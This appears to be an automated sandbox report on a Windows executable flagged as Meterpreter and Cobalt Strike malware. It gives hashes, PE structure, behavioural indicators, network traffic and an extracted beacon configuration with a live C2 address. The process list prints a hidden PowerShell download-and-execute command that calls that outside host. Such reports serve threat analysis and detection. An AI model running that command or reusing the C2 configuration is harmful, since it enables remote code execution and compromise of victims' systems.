File name:

2d7da0e32ac4bde3fed1e1307a10afef.exe

Full analysis: https://app.any.run/tasks/2588a23a-198b-49ab-bf7b-598c9716a039
Verdict: Malicious activity
Threats:

Cobalt Strike is a legitimate penetration software toolkit developed by Forta. But its cracked versions are widely adopted by bad actors, who use it as a C2 system of choice for targeted attacks.

Malware Trends Tracker     >>>
Analysis date: May 25, 2023, 16:57:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
installer
meterpreter
trojan
cobaltstrike
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

2D7DA0E32AC4BDE3FED1E1307A10AFEF

SHA1:

4A808ABEF733F5539306F4D8EB4B1AD10273A8F2

SHA256:

B6EB73DA6C308532E9F160BCD06BDA91799DE0CAC7A282FF1F404F23CA6B694F

SSDEEP:

24576:yNQzQp+j647BqemTyAPei0j/yDDjm+E2e:yN2njEjTyzi0T

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 2588)

    • METERPRETER was detected

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)
      • powershell.exe (PID: 2588)

    • COBALTSTRIKE detected by memory dumps

      • powershell.exe (PID: 2588)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)

    • The process bypasses the loading of PowerShell profile settings

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)

    • Reads the Internet Settings

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)
      • powershell.exe (PID: 2588)

    • Checks Windows Trust Settings

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)

    • Possibly malicious use of IEX has been detected

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)

    • Reads settings of System Certificates

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)

    • Probably download files using WebClient

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)

    • Connects to unusual port

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)
      • powershell.exe (PID: 2588)

    • Reads security settings of Internet Explorer

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 2588)

    • Unusual connection from system programs

      • powershell.exe (PID: 2588)

  • INFO

    • Checks supported languages

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)

    • Reads the machine GUID from the registry

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)

    • Checks proxy server information

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)
      • powershell.exe (PID: 2588)

    • Create files in a temporary directory

      • powershell.exe (PID: 2588)
      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)

    • Reads the computer name

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)

    • The process checks LSA protection

      • 2d7da0e32ac4bde3fed1e1307a10afef.exe (PID: 2428)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

CobalStrike

(PID) Process(2588) powershell.exe
C2 (1)1.13.17.173/IE9CompatViewList.xml
BeaconTypeHTTPS
Port2020
SleepTime60000
MaxGetSize1048576
Jitter0
PublicKey-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCAfAz1adzJcOJzBCEW22UjsHhE TCLvfBUnSf7kD0o463e2zM3625RQcmAlqNIbUhYuPa8cOUtqtCMxagh0P8fGup4P 6jv6CHHg3EeLbi8xxuPoq2bo5f1N8Si0+8nRugPT/knJOurUisE/Ul/FNieb1cyn xO9nwtdotyL4Ztsf3wIDAQAB -----END PUBLIC KEY-----
DNS_strategyround-robin
DNS_strategy_rotate_seconds-1
DNS_strategy_fail_x-1
DNS_strategy_fail_seconds-1
SpawnToaaefb3b14bfda6031e4089e393093c58
Spawnto_x86%windir%\syswow64\rundll32.exe
Spawnto_x64%windir%\sysnative\rundll32.exe
CryptoScheme0
HttpGet_VerbGET
HttpPost_VerbPOST
HttpPostChunk0
Watermark1234567890
bStageCleanupFalse
bCFGCautionFalse
UserAgentMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MAAU; NP08)
HttpPostUri/submit.php
HttpGet_Metadata
SessionId (2)base64
header: Cookie
HttpPost_Metadata
ConstHeaders (1)Content-Type: application/octet-stream
SessionId (1)parameter: id
Output (1)print
bUsesCookies0001
Proxy_BehaviorUse IE settings
tcpFrameHeader0004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
smbFrameHeader0004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
KillDate0-0-0
bProcInject_StartRWXTrue
bProcInject_UseRWXTrue
bProcInject_MinAllocSize0
ProcInject_PrependAppend_x86000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000...
ProcInject_PrependAppend_x64000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000...
ProcInject_Stub30c0eee4f63e95d41b02a2c1da5d509c
ProcInject_AllocationMethodVirtualAllocEx
No Malware configuration.

TRiD

.exe | InstallShield setup (36.8)
.exe | Win32 Executable MS Visual C++ (generic) (26.6)
.exe | Win64 Executable (generic) (23.6)
.dll | Win32 Dynamic Link Library (generic) (5.6)
.exe | Win32 Executable (generic) (3.8)

EXIF

EXE

Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: -
OSVersion: 4
EntryPoint: 0x75f25
UninitializedDataSize: -
InitializedDataSize: 364544
CodeSize: 610304
LinkerVersion: 6
PEType: PE32
ImageFileCharacteristics: No relocs, Executable, No line numbers, No symbols, 32-bit
TimeStamp: 2023:05:22 01:22:05+00:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 22-May-2023 01:22:05
Detected languages:
  • Chinese - PRC

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000F8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 4
Time date stamp: 22-May-2023 01:22:05
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x0009480A
0x00095000
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.60647
.rdata
0x00096000
0x00014D54
0x00015000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.73282
.data
0x000AB000
0x0003DD88
0x00018000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
4.99481
.rsrc
0x000E9000
0x00005758
0x00006000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.26118

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.07695
461
UNKNOWN
UNKNOWN
RT_MANIFEST
2
2.18858
296
UNKNOWN
Chinese - PRC
RT_ICON
3
2.45415
296
UNKNOWN
UNKNOWN
RT_ICON
4
2.84053
744
UNKNOWN
UNKNOWN
RT_ICON
5
2.61843
1640
UNKNOWN
UNKNOWN
RT_ICON
127
1.4183
12
UNKNOWN
Chinese - PRC
RT_MENU
150
3.06278
152
UNKNOWN
Chinese - PRC
RT_DIALOG
286
3.5561
378
UNKNOWN
Chinese - PRC
RT_DIALOG
554
3.78697
250
UNKNOWN
Chinese - PRC
RT_DIALOG
1031
3.67246
584
UNKNOWN
Chinese - PRC
RT_BITMAP

Imports

ADVAPI32.dll
COMCTL32.dll
GDI32.dll
KERNEL32.dll
OLEAUT32.dll
SHELL32.dll
USER32.dll
WINMM.dll
WINSPOOL.DRV
WS2_32.dll
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
2
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #METERPRETER 2d7da0e32ac4bde3fed1e1307a10afef.exe #COBALTSTRIKE powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2428"C:\Users\admin\AppData\Local\Temp\2d7da0e32ac4bde3fed1e1307a10afef.exe" C:\Users\admin\AppData\Local\Temp\2d7da0e32ac4bde3fed1e1307a10afef.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\2d7da0e32ac4bde3fed1e1307a10afef.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\wow64win.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2588powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://1.13.17.173:1234/a'))"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
2d7da0e32ac4bde3fed1e1307a10afef.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
CobalStrike
(PID) Process(2588) powershell.exe
C2 (1)1.13.17.173/IE9CompatViewList.xml
BeaconTypeHTTPS
Port2020
SleepTime60000
MaxGetSize1048576
Jitter0
PublicKey-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCAfAz1adzJcOJzBCEW22UjsHhE TCLvfBUnSf7kD0o463e2zM3625RQcmAlqNIbUhYuPa8cOUtqtCMxagh0P8fGup4P 6jv6CHHg3EeLbi8xxuPoq2bo5f1N8Si0+8nRugPT/knJOurUisE/Ul/FNieb1cyn xO9nwtdotyL4Ztsf3wIDAQAB -----END PUBLIC KEY-----
DNS_strategyround-robin
DNS_strategy_rotate_seconds-1
DNS_strategy_fail_x-1
DNS_strategy_fail_seconds-1
SpawnToaaefb3b14bfda6031e4089e393093c58
Spawnto_x86%windir%\syswow64\rundll32.exe
Spawnto_x64%windir%\sysnative\rundll32.exe
CryptoScheme0
HttpGet_VerbGET
HttpPost_VerbPOST
HttpPostChunk0
Watermark1234567890
bStageCleanupFalse
bCFGCautionFalse
UserAgentMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MAAU; NP08)
HttpPostUri/submit.php
HttpGet_Metadata
SessionId (2)base64
header: Cookie
HttpPost_Metadata
ConstHeaders (1)Content-Type: application/octet-stream
SessionId (1)parameter: id
Output (1)print
bUsesCookies0001
Proxy_BehaviorUse IE settings
tcpFrameHeader0004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
smbFrameHeader0004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
KillDate0-0-0
bProcInject_StartRWXTrue
bProcInject_UseRWXTrue
bProcInject_MinAllocSize0
ProcInject_PrependAppend_x86000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000...
ProcInject_PrependAppend_x64000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000...
ProcInject_Stub30c0eee4f63e95d41b02a2c1da5d509c
ProcInject_AllocationMethodVirtualAllocEx
Total events
3 112
Read events
3 025
Write events
87
Delete events
0

Modification events

(PID) Process:(2428) 2d7da0e32ac4bde3fed1e1307a10afef.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(2428) 2d7da0e32ac4bde3fed1e1307a10afef.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
460000008B000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(2428) 2d7da0e32ac4bde3fed1e1307a10afef.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2428) 2d7da0e32ac4bde3fed1e1307a10afef.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2428) 2d7da0e32ac4bde3fed1e1307a10afef.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2428) 2d7da0e32ac4bde3fed1e1307a10afef.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2428) 2d7da0e32ac4bde3fed1e1307a10afef.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2428) 2d7da0e32ac4bde3fed1e1307a10afef.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2588) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\14C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2428) 2d7da0e32ac4bde3fed1e1307a10afef.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\14C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
0
Suspicious files
10
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
2588powershell.exeC:\Users\admin\AppData\Local\Temp\vqltrh2k.o4h.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
24282d7da0e32ac4bde3fed1e1307a10afef.exeC:\Users\admin\AppData\Local\Temp\Tar8EA7.tmpbinary
MD5:4FF65AD929CD9A367680E0E5B1C08166
SHA256:C8733C93CC5AAF5CA206D06AF22EE8DBDEC764FB5085019A6A9181FEB9DFDEE6
2588powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2KMVFKYHB9OSNOG94U35.tempbinary
MD5:0D49E173FDD8F6EA4DF63784B77CCC21
SHA256:3272DB7ECA23497C130DB1DDAA385AEF54E7B40DC47D2E4BEC85D35B4AD5861F
2588powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:0D49E173FDD8F6EA4DF63784B77CCC21
SHA256:3272DB7ECA23497C130DB1DDAA385AEF54E7B40DC47D2E4BEC85D35B4AD5861F
2588powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1c555b.TMPbinary
MD5:C081C5AACE808AA38DCA32EA0F0E45CB
SHA256:A47109CAA91DCF604B84EA9DDACBA3A7B40D5560D6FAF73AA1DFC58175C4A809
2588powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:C62CA629AC6309F56AA6584D01CEF7E2
SHA256:5A1C88372C4D229D51F6FC1E3F2808A09F5FBB0027C911A8C7E9CFCC35D711B2
2588powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:69A0CAF8C68E49ECED0D07E31F8A30F5
SHA256:868B22D99FBEE84F130BE22C53E6BB70CAA595868149D698FDA6E423933935C4
2588powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506compressed
MD5:3AC860860707BAAF32469FA7CC7C0192
SHA256:D015145D551ECD14916270EFAD773BBC9FD57FAD2228D2C24559F696C961D904
2588powershell.exeC:\Users\admin\AppData\Local\Temp\vcqdzmls.jae.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
24282d7da0e32ac4bde3fed1e1307a10afef.exeC:\Users\admin\AppData\Local\Temp\Cab8EA6.tmpcompressed
MD5:3AC860860707BAAF32469FA7CC7C0192
SHA256:D015145D551ECD14916270EFAD773BBC9FD57FAD2228D2C24559F696C961D904
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
14
DNS requests
1
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2588
powershell.exe
GET
200
1.13.17.173:1234
http://1.13.17.173:1234/a
CN
text
190 Kb
malicious
2428
2d7da0e32ac4bde3fed1e1307a10afef.exe
GET
200
8.253.145.120:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?d322d33601f37ed9
US
compressed
62.3 Kb
whitelisted
2588
powershell.exe
GET
200
8.253.190.121:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?477e7a04e0f5fbb5
US
compressed
62.3 Kb
whitelisted
2428
2d7da0e32ac4bde3fed1e1307a10afef.exe
GET
200
8.253.145.120:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?906360da05274449
US
compressed
62.3 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
2428
2d7da0e32ac4bde3fed1e1307a10afef.exe
1.13.17.173:2020
—
Shenzhen Tencent Computer Systems Company Limited
CN
malicious
328
svchost.exe
224.0.0.252:5355
—
—
—
unknown
2588
powershell.exe
1.13.17.173:1234
—
Shenzhen Tencent Computer Systems Company Limited
CN
malicious
2588
powershell.exe
1.13.17.173:2020
—
Shenzhen Tencent Computer Systems Company Limited
CN
malicious
2428
2d7da0e32ac4bde3fed1e1307a10afef.exe
8.253.190.121:80
ctldl.windowsupdate.com
LEVEL3
US
unknown
2588
powershell.exe
8.253.190.121:80
ctldl.windowsupdate.com
LEVEL3
US
unknown
2428
2d7da0e32ac4bde3fed1e1307a10afef.exe
8.253.145.120:80
ctldl.windowsupdate.com
LEVEL3
US
suspicious
2428
2d7da0e32ac4bde3fed1e1307a10afef.exe
8.248.95.254:80
ctldl.windowsupdate.com
LEVEL3
US
suspicious
2588
powershell.exe
8.248.95.254:80
ctldl.windowsupdate.com
LEVEL3
US
suspicious

DNS requests

Domain
IP
Reputation
ctldl.windowsupdate.com
  • 8.248.95.254
  • 8.253.190.121
  • 8.253.145.120
  • 8.238.38.254
  • 8.253.145.105
whitelisted

Threats

PID
Process
Class
Message
2428
2d7da0e32ac4bde3fed1e1307a10afef.exe
Targeted Malicious Activity was Detected
ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike
2428
2d7da0e32ac4bde3fed1e1307a10afef.exe
A Network Trojan was detected
ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
2588
powershell.exe
Targeted Malicious Activity was Detected
ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike
2588
powershell.exe
A Network Trojan was detected
ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
2d7da0e32ac4bde3fed1e1307a10afef.exe